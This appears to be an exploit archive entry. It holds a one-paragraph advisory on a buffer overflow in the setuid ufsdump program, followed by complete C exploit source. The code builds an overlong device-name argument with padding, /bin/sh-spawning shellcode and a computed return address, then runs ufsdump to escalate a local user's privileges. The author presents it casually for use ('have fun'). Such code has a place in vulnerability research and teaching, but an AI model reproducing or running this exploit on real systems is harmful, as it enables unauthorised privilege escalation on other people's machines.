// source: https://www.securityfocus.com/bid/680/info
A buffer overflow vulnerability in the /usr/lib/fs/ufs/ufsdump setuid program allows local users to obtain root and tty group access. The vulnerability is the result of 'ufsdump' not being able to handle device names of a large length.
/* ufsdump.c
* Description: Overflows a buffer to give you EGID=tty.
* At least that's what id reports.
* The running shell thinks its still the user. Maybe I'm
* doing something wrong? At any
* rate, here ya go, have fun.
*
* smm@wpi.edu
* Thanks to: Jesse Schachter for the box, and
* Unknown parties for the shellcode. (probably Aleph1).
*/
#include <stdio.h>
static inline getesp() {
__asm__(" movl %esp,%eax ");
}
main(int argc, char **argv) {
int i,j,buffer,offset;
long unsigned esp;
char unsigned buf[4096];
unsigned char
shellcode[]=
"\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3"
"\x33\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05"
"\x07\x88\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff"
"\xff\x0f\x0f\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46"
"\x0c\x50\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff"
"\x83\xc4\x0c\x6a\x01\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4"
"\xff\xff\xff/bin/sh";
buffer=895;
offset=3500;
if (argc>1)buffer=atoi(argv[1]);
if (argc>2)offset=atoi(argv[2]);
for (i=0;i<buffer;i++)
buf[i]=0x41; /* inc ecx */
j=0;
for (i=buffer;i<buffer+strlen(shellcode);i++)
buf[i]=shellcode[j++];
esp=getesp()+offset;
buf[i]=esp & 0xFF;
buf[i+1]=(esp >> 8) & 0xFF;
buf[i+2]=(esp >> 16) & 0xFF;
buf[i+3]=(esp >> 24) & 0xFF;
buf[i+4]=esp & 0xFF;
buf[i+5]=(esp >> 8) & 0xFF;
buf[i+6]=(esp >> 16) & 0xFF;
buf[i+7]=(esp >> 24) & 0xFF;
printf("Offset: 0x%x\n\n",esp);
execl("/usr/lib/fs/ufs/ufsdump","ufsdump","1",buf,NULL);
}